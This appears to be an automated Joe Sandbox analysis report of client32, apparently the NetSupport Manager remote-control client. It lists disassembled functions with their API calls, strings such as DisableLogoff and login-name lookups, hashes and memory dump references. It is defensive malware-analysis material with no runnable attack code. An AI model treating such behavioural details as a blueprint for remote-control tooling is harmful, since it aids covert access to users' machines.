Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Item$Rect$Window$Client
String ID:
API String ID: 3380545214-0
Opcode ID: b3566e995a24d8da3f6e69c6acb85c898b2ca1eab53628bbe20bfaa9425c3900
Instruction ID: 41ef9526c6eaf87700d550f6f9343ba82b807524fb7f7e91883361a4ab14b296
Opcode Fuzzy Hash: b3566e995a24d8da3f6e69c6acb85c898b2ca1eab53628bbe20bfaa9425c3900
Instruction Fuzzy Hash: 064121797403053AD634E676CCA5F9F669D9BC4B04F104C2CB25BAB5C1C9A5FD808FA0

Function 110061F0 Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 358COMMON

Download Yara Rule

APIs

ReleaseDC.USER32(00000000,?), ref: 11006267
InflateRect.USER32(?,?,?), ref: 11006306
SelectObject.GDI32(?,?), ref: 1100632D
MoveToEx.GDI32(?,?,?,00000000), ref: 110063D5
LineTo.GDI32(?,?,?), ref: 11006410
Polygon.GDI32(?,?,00000003), ref: 110064C8
SelectObject.GDI32(?,?), ref: 110064DC
SelectObject.GDI32(?,?), ref: 110064E6
InflateRect.USER32(?,?,?), ref: 11006522
SelectObject.GDI32(?,?), ref: 1100633D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

GetDC.USER32(00000000), ref: 11006569

Part of subcall function 11002620: SetROP2.GDI32(?,00000007), ref: 11002631
Part of subcall function 11002620: SelectObject.GDI32(?,?), ref: 11002642
Part of subcall function 11002620: MoveToEx.GDI32(?,?,?,00000000), ref: 110026AF
Part of subcall function 11002620: LineTo.GDI32(?,00000000,?), ref: 110026E6

__floor_pentium4.LIBCMT ref: 11006621

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 11006250, 11006553
m_hWnd, xrefs: 11006255, 11006558

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ObjectSelect$InflateLineMoveRect$ErrorExitLastMessagePolygonProcessRelease__floor_pentium4wsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 4043586968-2830328467
Opcode ID: f40b548af5a3b969317c6371caf9fc461ff3c483ba902ae5864a027bb338f110
Instruction ID: 40ef36492cbbdd63dd1a1365ef49c9bea88dfca2d0282d7a726c9572eb38d0e4
Opcode Fuzzy Hash: f40b548af5a3b969317c6371caf9fc461ff3c483ba902ae5864a027bb338f110
Instruction Fuzzy Hash: 75E14BB4E00B09DBCB14DFA9D984ADEFBF8FF48308F104529D46AA7254DB31A965CB50

Function 1103C0B0 Relevance: 24.6, APIs: 3, Strings: 11, Instructions: 140sleepwindowCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1103C1EF
Sleep.KERNEL32(000001F4), ref: 1103C234
PostMessageA.USER32(00040270,00000010,00000000,00000000), ref: 1103C25F

Strings

DisableShutDown, xrefs: 1103C203
DisablePowerOff, xrefs: 1103C107
DisableLogoff, xrefs: 1103C0EA, 1103C160, 1103C21A
sd - Post WM_CLOSE to %08x, xrefs: 1103C246
AssertOnReboot, xrefs: 1103C192
GPFOnReboot, xrefs: 1103C1C3
_debug, xrefs: 1103C197, 1103C1C8
CLTCONN.CPP, xrefs: 1103C1AD
DisableReboot, xrefs: 1103C124
Client, xrefs: 1103C0EF, 1103C10C, 1103C129, 1103C165, 1103C21F
FALSE || !"assertOnReboot", xrefs: 1103C1B2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountMessagePostSleepTick
String ID: AssertOnReboot$CLTCONN.CPP$Client$DisableLogoff$DisablePowerOff$DisableReboot$DisableShutDown$FALSE || !"assertOnReboot"$GPFOnReboot$_debug$sd - Post WM_CLOSE to %08x
API String ID: 507213284-4185502373
Opcode ID: 4c2ad38552c5ffc9990115ab26d0db913c6aa8545f47a3c48e54c0980591a59c
Instruction ID: bc5b4941b946bae8cf34de2d164fb10a7a3b346b9060a70c00e6ff89969772c9
Opcode Fuzzy Hash: 4c2ad38552c5ffc9990115ab26d0db913c6aa8545f47a3c48e54c0980591a59c
Instruction Fuzzy Hash: F9410938F413767FE661CAE39E81FA9F6949B82B0DF100066FA19FA1C5D760B8408795

Function 11121300 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 1111F440: SelectPalette.GDI32(?,?,00000000), ref: 1111F4BC
Part of subcall function 1111F440: SelectPalette.GDI32(?,?,00000000), ref: 1111F4D1
Part of subcall function 1111F440: DeleteObject.GDI32(?), ref: 1111F4E4
Part of subcall function 1111F440: DeleteObject.GDI32(?), ref: 1111F4F1
Part of subcall function 1111F440: DeleteObject.GDI32(?), ref: 1111F516

_free.LIBCMT ref: 1112131D

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_free.LIBCMT ref: 11121333
_free.LIBCMT ref: 11121348
GdiFlush.GDI32(?,?,?,01578E40), ref: 11121350
_free.LIBCMT ref: 1112135D
_free.LIBCMT ref: 11121371
SelectObject.GDI32(?,?), ref: 1112138D
DeleteObject.GDI32(?), ref: 1112139A
GetLastError.KERNEL32(?,?,?,?,?,01578E40), ref: 111213A4
DeleteDC.GDI32(?), ref: 111213CB
ReleaseDC.USER32(?,?), ref: 111213DE
DeleteDC.GDI32(?), ref: 111213EB
InterlockedDecrement.KERNEL32(111EA9C8), ref: 111213F8

Strings

Error deleting membm, e=%d, xrefs: 111213AB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Delete$Object_free$Select$ErrorLastPalette$DecrementFlushFreeHeapInterlockedRelease
String ID: Error deleting membm, e=%d
API String ID: 3195047866-709490903
Opcode ID: 856a3ecf5a1c88381e43c7b3755e2998f31a2ff9e92ea80af61142ad3529f9f4
Instruction ID: f7d3d32e9876efa9dbc162a5d98189d6a342c9de11ba00d9e1d1e6b63679a2c9
Opcode Fuzzy Hash: 856a3ecf5a1c88381e43c7b3755e2998f31a2ff9e92ea80af61142ad3529f9f4
Instruction Fuzzy Hash: 892144B96107019BD214DFB5D9C8A9BF7E8FF98319F10491CE9AE83204EB35B501CB65

Function 110CF130 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 239COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000017DD), ref: 110CF18A
ShowWindow.USER32(00000000,00000000), ref: 110CF1AF
GetWindowRect.USER32(00000000,?), ref: 110CF1DD
GetObjectA.GDI32(00000000,0000003C,?), ref: 110CF21D
GetWindowTextA.USER32(00000000,?,00000100), ref: 110CF276
GetWindowLongA.USER32(00000000,000000F0), ref: 110CF2FC
GetClientRect.USER32(00000000,?), ref: 110CF3C3
CreateWindowExA.USER32(00000000,Static,11195264,5000000E,?,?,00000010,00000010,?,00003A97,00000000,00000000), ref: 110CF400

Strings

Static, xrefs: 110CF3F9
..\ctl32\nsmdlg.cpp, xrefs: 110CF2B0
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110CF1C0, 110CF254, 110CF2E4, 110CF3A6
m_eh, xrefs: 110CF2B5
m_hWnd, xrefs: 110CF1C5, 110CF259, 110CF2E9, 110CF3AB

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Rect$ClientCreateItemLongObjectShowText
String ID: ..\ctl32\nsmdlg.cpp$Static$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_eh$m_hWnd
API String ID: 4172769820-2231854162
Opcode ID: c3b9e28978103be5a937d48a63f04c3ffe11da8c089b37b84e1aa512a40c65d6
Instruction ID: 2d84ac58a4c57407e54c3cb5711102d4444eebaf719169cc73b89b5b27c55d8a
Opcode Fuzzy Hash: c3b9e28978103be5a937d48a63f04c3ffe11da8c089b37b84e1aa512a40c65d6
Instruction Fuzzy Hash: 8F81C375E00716ABD721CF64CC85F9EB3F4BB88B08F0045ADE5569B680EB74A940CF92

Function 1110F3F0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 218fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000017D,AB86ACF8,0000017D,?,?,?,?,?,?,?,?,1118B168,000000FF,?,1110F947,00000001), ref: 1110F427
_memset.LIBCMT ref: 1110F4C2
SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 1110F4FA
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 1110F58E
SetFilePointer.KERNEL32(?,00000000,00000000,00000000), ref: 1110F5B9
WriteFile.KERNEL32(?,PCIR,00000030,?,00000000), ref: 1110F5CE

Part of subcall function 11110000: InterlockedDecrement.KERNEL32(?), ref: 11110008

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,1118B168,000000FF), ref: 1110F5F5
_free.LIBCMT ref: 1110F628
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1110F665
timeEndPeriod.WINMM(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 1110F677
LeaveCriticalSection.KERNEL32(0000017D,?,?,?,?,?,?,?,1118B168,000000FF,?,1110F947,00000001,AB86ACF8,0000017D,00000001), ref: 1110F681

Strings

End Record %s, xrefs: 1110F442
PCIR, xrefs: 1110F5C9, 1110F5CC

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CloseCriticalHandlePointerSectionWrite$DecrementEnterInterlockedLeavePeriod_free_memsettime
String ID: End Record %s$PCIR
API String ID: 4278564793-2672865668
Opcode ID: 2297d0fbe9251eaeeb3cc25f45a368d5b625df3f620643443588fc5d57948bb5
Instruction ID: c7b3bd1ea8319edfd3cc52dfdc755cda258f2b25611d18eaf89bf58ef2166273
Opcode Fuzzy Hash: 2297d0fbe9251eaeeb3cc25f45a368d5b625df3f620643443588fc5d57948bb5
Instruction Fuzzy Hash: 32811875A0070AABD724CFA4C881BEBF7F8FF88704F00492DE66A97240D775A941CB91

Function 1103C2B0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 189COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 1103C396
_free.LIBCMT ref: 1103C490

Part of subcall function 111101B0: _malloc.LIBCMT ref: 111101C9
Part of subcall function 111101B0: wsprintfA.USER32 ref: 111101E4
Part of subcall function 111101B0: _memset.LIBCMT ref: 11110207

Part of subcall function 110CEEB0: CreateDialogParamA.USER32(00000000,?,1112E709,110CC170,00000000), ref: 110CEF41
Part of subcall function 110CEEB0: GetLastError.KERNEL32 ref: 110CF099
Part of subcall function 110CEEB0: wsprintfA.USER32 ref: 110CF0C8

_calloc.LIBCMT ref: 1103C4A5
_free.LIBCMT ref: 1103C4E0

Strings

u, xrefs: 1103C2F6
Not logged in!, xrefs: 1103C3F5
GetName, xrefs: 1103C326
CLTCONN.CPP, xrefs: 1103C3A9, 1103C4B8
Login name %s, xrefs: 1103C459
DoUserLogin, xrefs: 1103C2DE
, xrefs: 1103C42A
Get login name. Check if logged in, xrefs: 1103C3BE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _calloc_freewsprintf$CreateDialogErrorLastParam_malloc_memset
String ID: $CLTCONN.CPP$DoUserLogin$Get login name. Check if logged in$GetName$Login name %s$Not logged in!$u
API String ID: 1372014042-1552251038
Opcode ID: 72b7735d7667b6ec302ef8ca0014c817d3edac096f2fed806ed12241bd93b09b
Instruction ID: cdac1be2d741978c3eef80f3bcdc0ac73d985042abc912fef0ab0d71eb78c2cc
Opcode Fuzzy Hash: 72b7735d7667b6ec302ef8ca0014c817d3edac096f2fed806ed12241bd93b09b
Instruction Fuzzy Hash: 77612475E41326AFEB10DFA4CDC1FADB3A4AB85709F10426AE6169B3C0EB716940C791

Function 110F70E0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 176libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,AB86ACF8,1102E747,?,00000000), ref: 110F711B
GetProcAddress.KERNEL32(00000000,WTSQuerySessionInformationA), ref: 110F7179
wsprintfA.USER32 ref: 110F7235
SetLastError.KERNEL32(00000078), ref: 110F7242
wsprintfA.USER32 ref: 110F7267
GetProcAddress.KERNEL32(?,WTSFreeMemory), ref: 110F72A7
SetLastError.KERNEL32(00000078), ref: 110F72BC
FreeLibrary.KERNEL32(?), ref: 110F72D0

Strings

Wtsapi32.dll, xrefs: 110F7113
WTSFreeMemory, xrefs: 110F72A1
%x:%x:%x:%x:%x:%x:%x:%x, xrefs: 110F722F
WTSQuerySessionInformationA, xrefs: 110F716F
%u.%u.%u.%u, xrefs: 110F7261

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressErrorLastLibraryProcwsprintf$FreeLoad
String ID: %u.%u.%u.%u$%x:%x:%x:%x:%x:%x:%x:%x$WTSFreeMemory$WTSQuerySessionInformationA$Wtsapi32.dll
API String ID: 856016564-3838485836
Opcode ID: cc029828f1d21abf9f8ceca98a157caf4b608a284bbec4fbfb4073d9588458f4
Instruction ID: 25a542e7ca9f20ccb9d734b321771151ba7e8120a74b68384c663ef2db5eebf1
Opcode Fuzzy Hash: cc029828f1d21abf9f8ceca98a157caf4b608a284bbec4fbfb4073d9588458f4
Instruction Fuzzy Hash: 2161B771D042689FDB18CFA98C98AADFFF5BF49301F0581AEF16A97251D6345904CF20

Function 110F2300 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 121COMMON

Download Yara Rule

APIs

IsValidSid.ADVAPI32(?,?,?), ref: 110F230B
GetSidIdentifierAuthority.ADVAPI32(?,?), ref: 110F231C
GetSidSubAuthorityCount.ADVAPI32(?), ref: 110F2325
SetLastError.KERNEL32(0000007A), ref: 110F2346

Strings

-%lu, xrefs: 110F2412
S-%lu-, xrefs: 110F2356
0x%02hx%02hx%02hx%02hx%02hx%02hx, xrefs: 110F23E9
%lu, xrefs: 110F23A2

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Authority$CountErrorIdentifierLastValid
String ID: %lu$-%lu$0x%02hx%02hx%02hx%02hx%02hx%02hx$S-%lu-
API String ID: 228009767-531523367
Opcode ID: 57a6488dd8bcfc92baea919205bc7f2fa72d0bc6c6c6a664b58e8be8880b9895
Instruction ID: 492306157e7ec18f2a05f9c3a54debd260959543ed90ab263cae37764b9c0b6d
Opcode Fuzzy Hash: 57a6488dd8bcfc92baea919205bc7f2fa72d0bc6c6c6a664b58e8be8880b9895
Instruction Fuzzy Hash: EA417EB19041659BC719CF7D8CA99EAFFF5EF86205708C5BAF4E687200F538D5088760

Function 11025000 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000000E,00000000,00000000), ref: 11025036
SendMessageA.USER32(?,000000BA,00000000,00000000), ref: 11025049
SendMessageA.USER32(?,000000BB,-00000001,00000000), ref: 1102505A
SendMessageA.USER32(?,000000C1,00000000,00000000), ref: 11025065
SendMessageA.USER32(?,000000C4,-00000001,?), ref: 1102507E
GetDC.USER32(?), ref: 11025085
SendMessageA.USER32(?,00000031,00000000,00000000), ref: 11025095
SelectObject.GDI32(?,00000000), ref: 110250A2
GetTextExtentPoint32A.GDI32(?,00000020,00000001,?), ref: 110250B8
SelectObject.GDI32(?,?), ref: 110250C7
ReleaseDC.USER32(?,?), ref: 110250CF
SetCaretPos.USER32(?,?), ref: 11025111

Strings

, xrefs: 1102502F

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageSend$ObjectSelect$CaretExtentPoint32ReleaseText
String ID:
API String ID: 4100900918-3916222277
Opcode ID: 81849d76d252f21a55fd605d5a4a08d2267cf51cac1b4e435e9d7ec204cef2ae
Instruction ID: b0707e50622e5a2dee3f64ca7938c426cfa52823b6f102614556d1b444951bd6
Opcode Fuzzy Hash: 81849d76d252f21a55fd605d5a4a08d2267cf51cac1b4e435e9d7ec204cef2ae
Instruction Fuzzy Hash: 84414C71A41318AFEB10DFA4CD84FAEBBF8EF89700F118169F915AB244DB749900CB60

